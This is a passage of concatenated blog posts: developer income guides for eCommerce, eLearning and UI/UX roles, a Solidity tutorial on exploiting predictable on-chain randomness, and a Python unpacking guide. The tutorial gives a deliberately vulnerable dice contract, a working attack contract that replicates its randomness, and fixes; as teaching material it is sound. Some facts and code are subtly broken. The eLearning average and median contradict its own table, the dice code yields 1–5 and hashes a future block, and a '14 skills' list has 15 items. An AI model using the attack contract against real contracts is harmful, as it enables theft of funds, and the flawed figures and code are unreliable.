  5. Full-stack (back-end and front-end) web development
  6. Editing graphical assets such as photos and videos
  7. Understanding design principles and UI/UX best practices.
  8. English language skills
  9. Communication skills
  10. Content writing and copywriting skills (basics) to “fill in the blanks”
  11. Website testing skills
  12. Good security skills (e.g., SSL)
  13. Data analysis skills

Learning Path, Skills, and Education Requirements

Do you want to become an eCommerce Developer? Here’s a step-by-step learning path I’d propose to get started with eLearning :

You can find many additional computer science courses on the Finxter Computer Science Academy (flatrate model).

But don’t wait too long to acquire practical experience!

Even if you have little skills, it’s best to get started as a freelance developer and learn as you work on real projects for clients — earning income as you learn and gaining motivation through real-world feedback.

🚀 Tip: An excellent start to turbo-charge your freelancing career (earning more in less time) is our Finxter Freelancer Course. The goal of the course is to pay for itself!

You can find more job descriptions for coders, programmers, and computer scientists in our detailed overview guide:

The following statistic shows the self-reported income from 9,649 US-based professional developers (source).

💡 The average annual income of professional developers in the US is between $70,000 and $177,500 for various programming languages.

Question: What is your current total compensation (salary, bonuses, and perks, before taxes and deductions)? Please enter a whole number in the box below, without any punctuation. If you are paid hourly, please estimate an equivalent weekly, monthly, or yearly salary. (source)

The following statistic compares the self-reported income from 46,693 professional programmers as conducted by StackOverflow.

💡 The average annual income of professional developers worldwide (US and non-US) is between $33,000 and $95,000 for various programming languages.

Here’s a screenshot of a more detailed overview of each programming language considered in the report:

Here’s what different database professionals earn:

Here’s an overview of different cloud solutions experts:

Here’s what professionals in web frameworks earn:

There are many other interesting frameworks—that pay well!

Look at those tools:

Okay, but what do you need to do to get there? What are the skill requirements and qualifications to make you become a professional developer in the area you desire?

Let’s find out next!

General Qualifications of Professionals

StackOverflow performs an annual survey asking professionals, coders, developers, researchers, and engineers various questions about their background and job satisfaction on their website.

Interestingly, when aggregating the data of the developers’ educational background, a good three quarters have an academic background.

Here’s the question asked by StackOverflow (source):

Which of the following best describes the highest level of formal education that you’ve completed?

However, if you don’t have a formal degree, don’t fear! Many of the respondents with degrees don’t have a degree in their field—so it may not be of much value for their coding careers anyways.

Also, about one out of four don’t have a formal degree and still succeeds in their field! You certainly don’t need a degree if you’re committed to your own success!

Freelancing vs Employment Status

The percentage of freelance developers increases steadily. The fraction of freelance developers has already reached 11.21%!

This indicates that more and more work will be done in a more flexible work environment—and fewer and fewer companies and clients want to hire inflexible talent.

Here are the stats from the StackOverflow developer survey (source):

Do you want to become a professional freelance developer and earn some money on the side or as your primary source of income?

Resource: Check out our freelance developer course—it’s the best freelance developer course in the world with the highest student success rate in the industry!

Other Programming Languages Used by Professional Developers

The StackOverflow developer survey collected 58000 responses about the following question (source):

Which programming, scripting, and markup languages have you done extensive development work in over the past year, and which do you want to work in over the next year?

These are the languages you want to focus on when starting out as a coder:

And don’t worry—if you feel stuck or struggle with a nasty bug. We all go through it. Here’s what SO survey respondents and professional developers do when they’re stuck:

What do you do when you get stuck on a problem? Select all that apply. (source)

To get started with some of the fundamentals and industry concepts, feel free to check out these articles:

Where to Go From Here?

Enough theory. Let’s get some practice!

Coders get paid six figures and more because they can solve problems more effectively using machine intelligence and automation.

To become more successful in coding, solve more real problems for real people. That’s how you polish the skills you really need in practice. After all, what’s the use of learning theory that nobody ever needs?

You build high-value coding skills by working on practical coding projects!

Do you want to stop learning with toy projects and focus on practical code projects that earn you money and solve real problems for people?

🚀 If your answer is YES!, consider becoming a Python freelance developer! It’s the best way of approaching the task of improving your Python skills—even if you are a complete beginner.

If you just want to learn about the freelancing opportunity, feel free to watch my free webinar “How to Build Your High-Income Skill Python” and learn how I grew my coding business online and how you can, too—from the comfort of your own home.

Join the free webinar now!

References

[1] The figure was generated using the following code snippet:

import matplotlib.pyplot as plt
import numpy as np
import math data = [86625, 83786, 107250, 59475, 83315, 109000, 88420] labels = ['Glassdoor.com', 'ZipRecruiter.com', 'Talent.com', 'PayScale.com', 'Indeed.com', '6figr.com', 'Salary.com'] median = np.median(data)
average = np.average(data)
print(median, average)
n = len(data) plt.plot(range(n), [median] * n, color='black', label='Median: $' + str(int(median)))
plt.plot(range(n), [average] * n, '--', color='red', label='Average: $' + str(int(average)))
plt.bar(range(len(data)), data)
plt.xticks(range(len(data)), labels, rotation='vertical', position = (0,0.45), color='white', weight='bold')
plt.ylabel('Average Income ($)')
plt.title('eCommerce Developer Annual Income - by Finxter')
plt.legend()
plt.show()

Programmer Humor

“Real programmers set the universal constants at the start such that the universe evolves to contain the disk with the data they want.”xkcd
Posted on Leave a comment

eLearning Developer — Income and Opportunity

4.9/5 – (8 votes)

What is an eLearning Developer?

The eLearning developer is responsible for the technical implementation and deployment of the learning material created by, for example, an instructional designer or teacher.

This involves activities such as setting up an eLearning system or course management system, creating code for interactive exercises or quizzes, and taking care of the technicalities of user management and access restrictions.

What is the Role of an eLearning Developer?

As an eLearning developer, you’re responsible for course design, delivery, UI/UX, user management, interactivity, and learner interaction. Your goal is to help learners reach their goals as efficiently as possible using the perfect toolset and learning assets at the right time and in a seamless way.

In practice, this often means optimizing the learning management system (LMS) or using artificial intelligence to enrich the quality of the learning assets and the timing of their presentation to the learners.

⏱ Tip: Timing is crucial! Great learning material presented at the wrong time is as worthless as bad learning material.

What is the Annual Income of an eLearning Developer in the US?

💬 Question: How much does an eLearning Developer in the US make per year?

Average Income of an eLearning Developer in the US by Source
Figure: Average Income of an eLearning Developer in the US by Source. [1]

The expected annual income of an eLearning Developer in the United States is between $58,210 and $75,460 per year, with an average annual income of $95,353 per year and a median income of $97,600 per year.

This data is based on our meta-study of 8 salary aggregators sources such as Glassdoor, ZipRecruiter, and PayScale.

Source Average Income
Glassdoor.com $62,037
ZipRecruiter.com $71,724
Talent.com $74,100
Zippia.com $88,397
PayScale.com $58,958
Comparably.com $58,210
SalaryExpert.com $66,268
Salary.com $75,460
Table: Average Income of an eLearning Developer in the US by Source.

🧑‍💻 Note: This is the most comprehensive salary meta-study of eLearning developer income in the world, to the best of my knowledge!

Let’s have a look at the hourly rate of eLearning Developers next!

What is the Hourly Rate of a Freelance eLearning Developer?

eLearning Developers are well-paid on freelancing platforms such as Upwork or Fiverr.

If you decide to go the route as a freelance eLearning Developer, you can expect to make between $25 and $95 per hour on Upwork (source). Assuming an annual workload of 2000 hours, you can expect to make between $50,000 and $190,000 per year.

⚡ Note: Do you want to create your own thriving coding business online? Feel free to check out our freelance developer course — the world’s #1 best-selling freelance developer course that specifically shows you how to succeed on Upwork and Fiverr!

How Much Should I Charge as a Freelance eLearning Developer?

  • ⭐ As a beginner eLearning developer, you should charge $20-$30 per hour on freelancing platforms such as Upwork or Fiverr.
  • ⭐⭐ As an intermediate eLearning developer, you should charge $30-$60 per hour on freelancing platforms such as Upwork or Fiverr.
  • ⭐⭐⭐ As an expert eLearning developer, you should charge $60-$120 per hour on freelancing platforms such as Upwork or Fiverr.

Industry Demand

But is there enough demand? Let’s have a look at Google trends to find out how interest evolves over time (source):

Both keywords “eLearning” and “eLearning Developer” have seen significant growth in interest during the last two decades. The field is likely to grow in the next couple of decades, so the industry demand is very attractive.

What Skills Do I Need as an eLearning Developer?

Figure: A skill you don’t need as an eLearning developer.

These are the top 15 most important skills you should have as a successful eLearning developer:

  1. Flexibility in mind and thinking—the field changes rapidly!
  2. Programming skills
  3. Technical skills in the industry for which you create eLearning systems are helpful but not strictly required.
  4. Understanding eLearning authoring tools
  5. Web development skills such as HTML, CSS, JavaScript
  6. Ability to use gamification and game economics to keep learning exciting
  7. Editing graphical assets such as photos and videos
  8. Understanding design principles and UI/UX best practices.
  9. Good teaching skills
  10. Course creation skills
  11. English language skills
  12. Pedagogic skills
  13. Initiative and creativity
  14. Ability to work with others
  15. Communication skills

Learning Path, Skills, and Education Requirements

Do you want to become an eLearning Developer? Here’s a step-by-step learning path I’d propose to get started with eLearning :

You can find many additional computer science courses on the Finxter Computer Science Academy (flatrate model).

But don’t wait too long to acquire practical experience!

Even if you have little skills, it’s best to get started as a freelance developer and learn as you work on real projects for clients — earning income as you learn and gaining motivation through real-world feedback.

🚀 Tip: An excellent start to turbo-charge your freelancing career (earning more in less time) is our Finxter Freelancer Course. The goal of the course is to pay for itself!

You can find more job descriptions for coders, programmers, and computer scientists in our detailed overview guide:

The following statistic shows the self-reported income from 9,649 US-based professional developers (source).

💡 The average annual income of professional developers in the US is between $70,000 and $177,500 for various programming languages.

Question: What is your current total compensation (salary, bonuses, and perks, before taxes and deductions)? Please enter a whole number in the box below, without any punctuation. If you are paid hourly, please estimate an equivalent weekly, monthly, or yearly salary. (source)

The following statistic compares the self-reported income from 46,693 professional programmers as conducted by StackOverflow.

💡 The average annual income of professional developers worldwide (US and non-US) is between $33,000 and $95,000 for various programming languages.

Here’s a screenshot of a more detailed overview of each programming language considered in the report:

Here’s what different database professionals earn:

Here’s an overview of different cloud solutions experts:

Here’s what professionals in web frameworks earn:

There are many other interesting frameworks—that pay well!

Look at those tools:

Okay, but what do you need to do to get there? What are the skill requirements and qualifications to make you become a professional developer in the area you desire?

Let’s find out next!

General Qualifications of Professionals

StackOverflow performs an annual survey asking professionals, coders, developers, researchers, and engineers various questions about their background and job satisfaction on their website.

Interestingly, when aggregating the data of the developers’ educational background, a good three quarters have an academic background.

Here’s the question asked by StackOverflow (source):

Which of the following best describes the highest level of formal education that you’ve completed?

However, if you don’t have a formal degree, don’t fear! Many of the respondents with degrees don’t have a degree in their field—so it may not be of much value for their coding careers anyways.

Also, about one out of four don’t have a formal degree and still succeeds in their field! You certainly don’t need a degree if you’re committed to your own success!

Freelancing vs Employment Status

The percentage of freelance developers increases steadily. The fraction of freelance developers has already reached 11.21%!

This indicates that more and more work will be done in a more flexible work environment—and fewer and fewer companies and clients want to hire inflexible talent.

Here are the stats from the StackOverflow developer survey (source):

Do you want to become a professional freelance developer and earn some money on the side or as your primary source of income?

Resource: Check out our freelance developer course—it’s the best freelance developer course in the world with the highest student success rate in the industry!

Other Programming Languages Used by Professional Developers

The StackOverflow developer survey collected 58000 responses about the following question (source):

Which programming, scripting, and markup languages have you done extensive development work in over the past year, and which do you want to work in over the next year?

These are the languages you want to focus on when starting out as a coder:

And don’t worry—if you feel stuck or struggle with a nasty bug. We all go through it. Here’s what SO survey respondents and professional developers do when they’re stuck:

What do you do when you get stuck on a problem? Select all that apply. (source)

To get started with some of the fundamentals and industry concepts, feel free to check out these articles:

Where to Go From Here?

Enough theory. Let’s get some practice!

Coders get paid six figures and more because they can solve problems more effectively using machine intelligence and automation.

To become more successful in coding, solve more real problems for real people. That’s how you polish the skills you really need in practice. After all, what’s the use of learning theory that nobody ever needs?

You build high-value coding skills by working on practical coding projects!

Do you want to stop learning with toy projects and focus on practical code projects that earn you money and solve real problems for people?

🚀 If your answer is YES!, consider becoming a Python freelance developer! It’s the best way of approaching the task of improving your Python skills—even if you are a complete beginner.

If you just want to learn about the freelancing opportunity, feel free to watch my free webinar “How to Build Your High-Income Skill Python” and learn how I grew my coding business online and how you can, too—from the comfort of your own home.

Join the free webinar now!

References

[1] The figure was generated using the following code snippet:

import matplotlib.pyplot as plt
import numpy as np
import math data = [62037, 71724, 74100, 88397, 58958, 58210, 66268, 75460] labels = ['Glassdoor.com', 'ZipRecruiter.com', 'Talent.com', 'Zippia.com', 'PayScale.com', 'Comparably.com', 'SalaryExpert.com', 'Salary.com'] median = np.median(data)
average = np.average(data)
print(median, average)
n = len(data) plt.plot(range(n), [median] * n, color='black', label='Median: $' + str(int(median)))
plt.plot(range(n), [average] * n, '--', color='red', label='Average: $' + str(int(average)))
plt.bar(range(len(data)), data)
plt.xticks(range(len(data)), labels, rotation='vertical', position = (0,0.45), color='white', weight='bold')
plt.ylabel('Average Income ($)')
plt.title('eLearning Developer Annual Income - by Finxter')
plt.legend()
plt.show()

Developer Humor

Q: How do eLearning developers and instructional designers explain the Birds and the Bees to their children? A: By the end of this conversation you will be able to do the following: (1) Identify the main components that make someone attractive (2) Employ appropriate decision-making strategies to determine the correct level of romantic engagement (3) ... 🥱
Posted on Leave a comment

Smart Contract Randomness or ReplicatedLogic Attack

5/5 – (1 vote)

This is part 7 and a continuation of the Smart Contract Security Series.

  1. Ownership Exploit
  2. Private Variable Exploit
  3. Reentrancy Attack
  4. tx.origin Phishing Attack
  5. Denial of Service Attack
  6. Storage Collision Attack
  7. Randomness Attack

In this tutorial, the randomness attack or also called replicated logic attack is analyzed.

The problem in Solidity contracts is finding the true source of randomness.

We will see how generating a random number using on chain data cannot be trusted.  

The tutorial starts with exploiting the randomness vulnerability, followed by the possible solutions. Let us begin the exploration!

Exploit

To explain this exploit, you can consider any game where the user is asked to guess a random number such as a dice number, a card from a pack of cards, or an online lottery contract.

To keep it simple consider a contract game for guessing a dice.

The user is asked to guess a dice number between 1 to 6, and if it matches the random number generated in the contract, then the user is awarded a prize of 1 Ether.

The contract code for DiceGame.sol.

contract DiceGame
{ constructor() payable{ } function guess_the_dice(uint8 _guessDice) public { uint8 dice = random(); if (dice == _guessDice) { (bool sent, ) = msg.sender.call{value: 1 ether}(""); require(sent , "failed to transfer"); } } // source of randomness (1-6) function random() private view returns (uint8) { uint256 blockValue = uint256(blockhash(block.number-1 + block.timestamp)); return uint8(blockValue % 5) + 1; }
}

The contract logic is briefly explained.

  1. constructor() made payable to put some initial reward amount to the winner of the game.
  2. guess_the_dice() takes a param from the user (player), generates the random number, compares it with the user input number. If both are equal then the user (player) is rewarded with 1 Ether.
  3. The random() function uses the previous block number and the current block timestamp to get a random number. The previous block number (block.number-1) is used here because the blockhash() does not allow you to calculate it using the current block number as the current block is still under process w.r.t current transaction. Before the random value is returned we mod it by 5 and add 1 to keep the dice number between 1 to 6.

The attack.sol contract.

contract Attack{ DiceGame dicegame; constructor(DiceGame _addrDicegame) { dicegame = _addrDicegame; } function attack() public{ uint8 guess= random(); dicegame.guess_the_dice(guess); } // source of randomness (1-6) copied from the DiceGame contract function random() private view returns (uint8) { uint256 blockValue = uint256(blockhash(block.number-1 + block.timestamp)); return uint8(blockValue % 5) + 1; } // gets called to rx ether receive() external payable {} function get_balance() public view returns(uint256) { return address(this).balance; } }

The attack contract logic in detail.

  1. The constructor accepts the address of the deployed DiceGame contract so that it can interact with this contract.
  2. The attack() function uses or replicates the exact random function used by the DiceGame contract as the source code of the DiceGame contract is available as open-source or on etherscan (as part of contract section or verified contracts). After getting the random number it calls guess_the_dice()
  3. get_balance() gives the balance of the attacker contract.

Copy the contracts in Remix and execute them.

How the Exploit Occurred

As you can see, every time the attacker calls the attack() function, he/she is able to match it exactly with the number in the guess_the_dice() function of the DiceGame contract.

As the random() function was replicated from the DiceGame contract, it will generate the same random number in attack() and guess_the_dice() as both functions will be part of the same transaction, in other words, the same block.

How to Prevent the Attack

  • The attack can be prevented if any on-chain data such as blockhash, block.number, block.timestamp is not used as the source of randomness in the contracts.
  • Use ChainlinkVRF as the source of true randomness in contracts.

Summary

In this tutorial, we saw how assuming that the on-chain data related to blockchain such as block.timestamp or block.number can give us true randomness that cannot be duplicated or exploited.

While it is true that in computer science it is hard to generate a true random number with the help of an algorithm, some functions are better than the others and chainlink VRF is one such function that helps in generating a provably fair and verifiable random number.

Programmer Humor

Q: How do you tell an introverted computer scientist from an extroverted computer scientist? A: An extroverted computer scientist looks at your shoes when he talks to you.
Posted on Leave a comment

UI/UX Developer — Income and Opportunity

5/5 – (7 votes)

Before we learn about the money, let’s get this question out of the way:

What is a UI/UX Developer?

As a UI/UX developer, you’re responsible for the technical implementation of the user interfaces (UI) of software applications (web, mobile, or desktop).

You’ll also optimize the user experience (UX) from joining for the first time to reaching the desired outcome fulfilled by the application.

You’ll use visual design principles, psychological research, and tools such as HTML, CSS, and JavaScript to achieve responsive user interfaces.

What is the Annual Income of a UI/UX Developer in the US?

💬 Question: How much does a UI/UX Developer in the US make per year?

Figure: Average Income of a UI/UX Developer in the US by Source. [1]

The expected annual income of a UI/UX Developer in the United States is between $75,895 and $117,037 per year, with an average annual income of $95,353 per year and a median income of $97,600 per year.

This data is based on our meta-study of 8 salary aggregators sources such as Glassdoor, ZipRecruiter, and PayScale.

Source Average Income
Glassdoor.com $117,037
ZipRecruiter.com $100,287
Talent.com $100,000
BuiltIn.com $84,361
Indeed.com $95,201
PayScale.com $75,895
Comparably.com $90,000
Salary.com $100,046
Table: Average Income of a UI/UX Developer in the US by Source.

🧑‍💻 Note: This is the most comprehensive salary meta-study of UI/UX developer income in the world, to the best of my knowledge!

Let’s have a look at the hourly rate of UI (UX) Developers next!

What is the Hourly Rate of a UI (UX) Developer?

UI (UX) Developers are well-paid on freelancing platforms such as Upwork or Fiverr.

If you decide to go the route as a freelance UI (UX) Developer, you can expect to make between $37 and $50 per hour on Upwork (source). Assuming an annual workload of 2000 hours, you can expect to make between $74,000 and $100,000 per year.

⚡ Note: Do you want to create your own thriving coding business online? Feel free to check out our freelance developer course — the world’s #1 best-selling freelance developer course that specifically shows you how to succeed on Upwork and Fiverr!

Industry Demand

But is there enough demand? Let’s have a look at Google trends to find out how interest evolves over time (source):

Exciting trendline, isn’t it?

The interest in hiring UX/UI developers shows a similar uptrend:

14 Essential Skills for UI/UX Developers

The most important skills of a UI/UX developers are the following:

  1. HTML skills
  2. CSS skills
  3. JavaScript skills
  4. Basic programming skills in a major language (e.g., Java, Python, C++)
  5. Mastering at least one web framework stack such as AngularJS or Bootstrap
  6. Wireframing and flowcharting skills
  7. Photoshop skills to create rapid prototypes
  8. Visual communication and presentation skills
  9. Verbal communication
  10. Interaction design skills
  11. Analytical skills
  12. Information architecture skills
  13. Integration and API skills
  14. Psychology skills
  15. Curiosity and willingness to learn

I’ll give you a couple of hints on how to learn those skills in a moment after the following important section:

What’s the difference between user interface developers and front-end web developers?

UI Developer vs Frontend Developer

A front-end web developer focuses on the graphical user interface (GUI) of the website using HTML, CSS, and JavaScript with the goal of setting up the whole technology stack to enable users to view and interact with the website.

An UI developer is responsible for the technical implementation of the user interfaces (UI) of software applications (web, mobile, or desktop).

Front-end developers and UI developers are similar but different in that the latter is a superset of the former. All front-end developers are UI developers but not all UI developers are front-end developers.

For example, you may develop a user interface for a mobile app in which case you’d be an UI developer but not a front-end developer.

The industry standard of job hunters and agencies is to search for UI developers if the focus of the job role is more on the design and front-end developers if the focus is more on the technical implementation of the design.

Note that if the focus is even heavier on the design aspects, companies would look for “UI designers” rather than “UI developers”. 🎨

Learning Path, Skills, and Education Requirements

Do you want to become a UI (UX) Developer? Here’s a step-by-step learning path I’d propose to get started with UI (UX) :

You can find many additional computer science courses on the Finxter Computer Science Academy (flatrate model).

But don’t wait too long to acquire practical experience!

Even if you have little skills, it’s best to get started as a freelance developer and learn as you work on real projects for clients — earning income as you learn and gaining motivation through real-world feedback.

🚀 Tip: An excellent start to turbo-charge your freelancing career (earning more in less time) is our Finxter Freelancer Course. The goal of the course is to pay for itself!

You can find more job descriptions for coders, programmers, and computer scientists in our detailed overview guide:

The following statistic shows the self-reported income from 9,649 US-based professional developers (source).

💡 The average annual income of professional developers in the US is between $70,000 and $177,500 for various programming languages.

Question: What is your current total compensation (salary, bonuses, and perks, before taxes and deductions)? Please enter a whole number in the box below, without any punctuation. If you are paid hourly, please estimate an equivalent weekly, monthly, or yearly salary. (source)

The following statistic compares the self-reported income from 46,693 professional programmers as conducted by StackOverflow.

💡 The average annual income of professional developers worldwide (US and non-US) is between $33,000 and $95,000 for various programming languages.

Here’s a screenshot of a more detailed overview of each programming language considered in the report:

Here’s what different database professionals earn:

Here’s an overview of different cloud solutions experts:

Here’s what professionals in web frameworks earn:

There are many other interesting frameworks—that pay well!

Look at those tools:

Okay, but what do you need to do to get there? What are the skill requirements and qualifications to make you become a professional developer in the area you desire?

Let’s find out next!

General Qualifications of Professionals

StackOverflow performs an annual survey asking professionals, coders, developers, researchers, and engineers various questions about their background and job satisfaction on their website.

Interestingly, when aggregating the data of the developers’ educational background, a good three quarters have an academic background.

Here’s the question asked by StackOverflow (source):

Which of the following best describes the highest level of formal education that you’ve completed?

However, if you don’t have a formal degree, don’t fear! Many of the respondents with degrees don’t have a degree in their field—so it may not be of much value for their coding careers anyways.

Also, about one out of four don’t have a formal degree and still succeeds in their field! You certainly don’t need a degree if you’re committed to your own success!

Freelancing vs Employment Status

The percentage of freelance developers increases steadily. The fraction of freelance developers has already reached 11.21%!

This indicates that more and more work will be done in a more flexible work environment—and fewer and fewer companies and clients want to hire inflexible talent.

Here are the stats from the StackOverflow developer survey (source):

Do you want to become a professional freelance developer and earn some money on the side or as your primary source of income?

Resource: Check out our freelance developer course—it’s the best freelance developer course in the world with the highest student success rate in the industry!

Other Programming Languages Used by Professional Developers

The StackOverflow developer survey collected 58000 responses about the following question (source):

Which programming, scripting, and markup languages have you done extensive development work in over the past year, and which do you want to work in over the next year?

These are the languages you want to focus on when starting out as a coder:

And don’t worry—if you feel stuck or struggle with a nasty bug. We all go through it. Here’s what SO survey respondents and professional developers do when they’re stuck:

What do you do when you get stuck on a problem? Select all that apply. (source)

To get started with some of the fundamentals and industry concepts, feel free to check out these articles:

Where to Go From Here?

Enough theory. Let’s get some practice!

Coders get paid six figures and more because they can solve problems more effectively using machine intelligence and automation.

To become more successful in coding, solve more real problems for real people. That’s how you polish the skills you really need in practice. After all, what’s the use of learning theory that nobody ever needs?

You build high-value coding skills by working on practical coding projects!

Do you want to stop learning with toy projects and focus on practical code projects that earn you money and solve real problems for people?

🚀 If your answer is YES!, consider becoming a Python freelance developer! It’s the best way of approaching the task of improving your Python skills—even if you are a complete beginner.

If you just want to learn about the freelancing opportunity, feel free to watch my free webinar “How to Build Your High-Income Skill Python” and learn how I grew my coding business online and how you can, too—from the comfort of your own home.

Join the free webinar now!

References

[1] The figure was generated using the following code snippet:

import matplotlib.pyplot as plt
import numpy as np
import math data = [117037, 100287, 100000, 84361, 95201, 75895, 90000, 100046] labels = ['Glassdoor.com', 'ZipRecruiter.com', 'Talent.com', 'BuiltIn.com', 'Indeed.com', 'PayScale.com', 'Comparably.com', 'Salary.com'] median = np.median(data)
average = np.average(data)
print(median, average)
n = len(data) plt.plot(range(n), [median] * n, color='black', label='Median: $' + str(int(median)))
plt.plot(range(n), [average] * n, '--', color='red', label='Average: $' + str(int(average)))
plt.bar(range(len(data)), data)
plt.xticks(range(len(data)), labels, rotation='vertical', position = (0,0.45), color='white', weight='bold')
plt.ylabel('Average Income ($)')
plt.title('UI/UX Developer Annual Income - by Finxter')
plt.legend()
plt.show()
Posted on Leave a comment

Python Unpacking [Ultimate Guide]

5/5 – (1 vote)

In this article, you’ll learn about the following topics:

  • List unpacking in Python
  • Tuple unpacking in Python
  • String unpacking in Python
  • ValueError: too many values to unpack (expected k)
  • ValueError: not enough values to unpack (expected x, got y)
  • Unpacking nested list or tuple
  • Unpacking underscore
  • Unpacking asterisk

Sequence Unpacking Basics

Python allows you to assign iterables such as lists and tuples and assign them to multiple variables.

💡 Iterable unpacking or sequence unpacking is the process of assigning the elements of an iterable (e.g., tuple, list, string) to multiple variables. For it to work, you need to have enough variables to capture the number of elements in the iterable.

Python List Unpacking

List unpacking is the process of assigning k elements of a list to k different variables in a single line of code.

In the following example, you unpack the three elements in the list [1, 2, 3] into variables a, b, and c. Each variable captures one list element after the unpacking operation.

# List Unpacking
a, b, c = [1, 2, 3] print(a)
# 1 print(b)
# 2 print(c)
# 3

ValueError: too many values to unpack (expected k)

If the list has too many values to unpack — i.e., the number of elements in the list is larger than the variables to assign them to — Python will raise a ValueError: too many values to unpack (expected k) whereas k is the number of variables on the left-hand side of the assignment operation.

This can be seen in the following code snippet:

a, b, c = [1, 2, 3, 4] '''
Traceback (most recent call last): File "C:\Users\xcent\Desktop\code.py", line 1, in <module> a, b, c = [1, 2, 3, 4]
ValueError: too many values to unpack (expected 3) '''

To resolve the ValueError: too many values to unpack (expected k), make sure that the number of elements on the right and left-hand sides of the unpacking operation is the same.

Per convention, if you don’t need to store a certain list element in a variable, you can use the “throw-away” underscore variable name _.

Here’s the same example resolved using the underscore name:

a, b, _, c = [1, 2, 3, 4] print(a)
# 1 print(b)
# 2 print(c)
# 4

Alternatively, you can also use the asterisk operator on the left-hand side as will be explained at the end of this article—so keep reading! 💡

ValueError: not enough values to unpack (expected x, got y)

If the iterable has too few values to unpack — i.e., the number of elements in the iterable is larger than the variables to assign them to — Python will raise a ValueError: not enough values to unpack (expected x, got y) whereas x is the number of variables on the left-hand side of the assignment operation and y is the number of elements in the iterable.

This can be seen in the following code snippet:

a, b, c, d = [1, 2, 3] '''
Traceback (most recent call last): File "C:\Users\xcent\Desktop\code.py", line 1, in <module> a, b, c, d = [1, 2, 3]
ValueError: not enough values to unpack (expected 4, got 3) '''

To resolve the ValueError: not enough values to unpack (expected x, got y), make sure that the number of elements on the right and left-hand sides of the unpacking operation is the same.

Python Tuple Unpacking

Tuple unpacking is the process of assigning k elements of a tuple to k different variables in a single line of code.

In the following example, you unpack the three elements in the tuple (1, 2, 3) into variables a, b, and c. Each variable captures one tuple element after the unpacking operation.

# Tuple Unpacking
a, b, c = (1, 2, 3) print(a)
# 1 print(b)
# 2 print(c)
# 3

Note that the parentheses of tuples are optional, so you can omit them to obtain the same behavior with even fewer syntax overhead as shown in the following example. 😊

# Tuple Unpacking
a, b, c = 1, 2, 3 print(a)
# 1 print(b)
# 2 print(c)
# 3

Python String Unpacking

String unpacking is the process of assigning k characters of a string to k different variables in a single line of code.

In the following example, you unpack the seven characters in the string 'finxter' into variables a, b, c, d, e, f, and g. Each variable captures one character from the string, in order, after the unpacking operation.

# String Unpacking
a, b, c, d, e, f, g = 'finxter' print(a)
print(b)
print(c)
print(d)
print(e)
print(f)
print(g) '''
f
i
n
x
t
e
r '''

Python Unpacking Nested List or Tuple

You can also unpack a nested iterable (e.g., list of lists, or tuple of tuples).

The simple case is where one variable (in our example c) captures the whole inner list (in our example [3, 4, 5]):

lst = [1, 2, [3, 4, 5]]
a, b, c = lst print(a)
print(b)
print(c) '''
1
2
[3, 4, 5] '''

But how can you assign the elements of the inner list to variables as well?

This can be done by setting up a parallel structure on the left and right sides of the equation using parentheses (...) or square brackets [...].

lst = [1, 2, [3, 4, 5]]
a, b, [c, d, e] = lst print(a)
print(b)
print(c)
print(d)
print(e) '''
1
2
3
4
5 '''

The simple heuristic to understand what is going on here is: parallel structures!

Python Unpacking Underscore

The underscore _ in Python behaves like a normal variable name. Per convention, it is used if you don’t actually care about the value stored in it but just use it to capture all values from an iterable in a syntactically correct way.

Here’s a simple example:

lst = ['Alice', 'Bob', 'Carl'] a, _, c = lst print(a)
print(_)
print(c) '''
Alice
Bob
Carl '''

Python Unpacking Asterisk

You can use the asterisk operator * on the left-hand side of the equation to unpack multiple elements into a single variable.

This way, you can overcome the ValueError: too many values to unpack when there are more values in the iterable than there are variables to capture them.

Here’s an example where we capture two elements 2 and 3 in one variable b using the asterisk operator as a prefix in *b:

a, *b, c = [1, 2, 3, 4] print(a)
print(b)
print(c) '''
1
[2, 3]
4 '''

⚡ Note: This only works in Python 3 but not in Python 2. Here’s how to check your Python version.

Python will automatically assign the values in the iterable to the variables so that the asterisked’ variable captures all remaining elements.

In the following example, the asterisked variable *a captures all the remaining values that cannot be captured by the non-asterisked variables:

*a, b, c = [1, 2, 3, 4, 5] print(a)
print(b)
print(c) '''
[1, 2, 3]
4
5 '''

No matter how many elements are captured by the asterisked variable, they will always be stored as a list (even if a single variable would be enough):

first, *_, last = ['Alice', 'Bob', 'Carl'] print(first)
print(_)
print(last) '''
Alice
['Bob']
Carl '''

However, you cannot use multiple asterisk operators in the same expression or Python wouldn’t know which iterable elements to assign to which variables.

The following screenshot shows how Python doesn’t compile with the warning “SyntaxError: multiple starred expressions in assignment”.

If you’re completely uninterested in all but a couple of elements of a large list, you can combine the throw-away underscore operator _ with the asterisk operator * like so *_. Using this approach, the underscore will capture all the unnecessary elements from the iterable.

This can be seen in the following example:

How to Capture First and Last Element of an Iterable in Variable [Example]

Here’s an example of this:

first, *_, last = list(range(100)) print(first, last)
# 0 99

All list elements 1 to 98 (included) are now stored in the throw-away variable _.

Python assigns an empty list to the asterisked variable if no additional elements can be assigned to it because all are already assigned to other variables:

a, b, *c = [1, 2] print(a)
print(b)
print(c) '''
1
2
[] '''

Where to Go From Here?

Enough theory. Let’s get some practice!

Coders get paid six figures and more because they can solve problems more effectively using machine intelligence and automation.

To become more successful in coding, solve more real problems for real people. That’s how you polish the skills you really need in practice. After all, what’s the use of learning theory that nobody ever needs?

You build high-value coding skills by working on practical coding projects!

Do you want to stop learning with toy projects and focus on practical code projects that earn you money and solve real problems for people?

🚀 If your answer is YES!, consider becoming a Python freelance developer! It’s the best way of approaching the task of improving your Python skills—even if you are a complete beginner.

If you just want to learn about the freelancing opportunity, feel free to watch my free webinar “How to Build Your High-Income Skill Python” and learn how I grew my coding business online and how you can, too—from the comfort of your own home.

Join the free webinar now!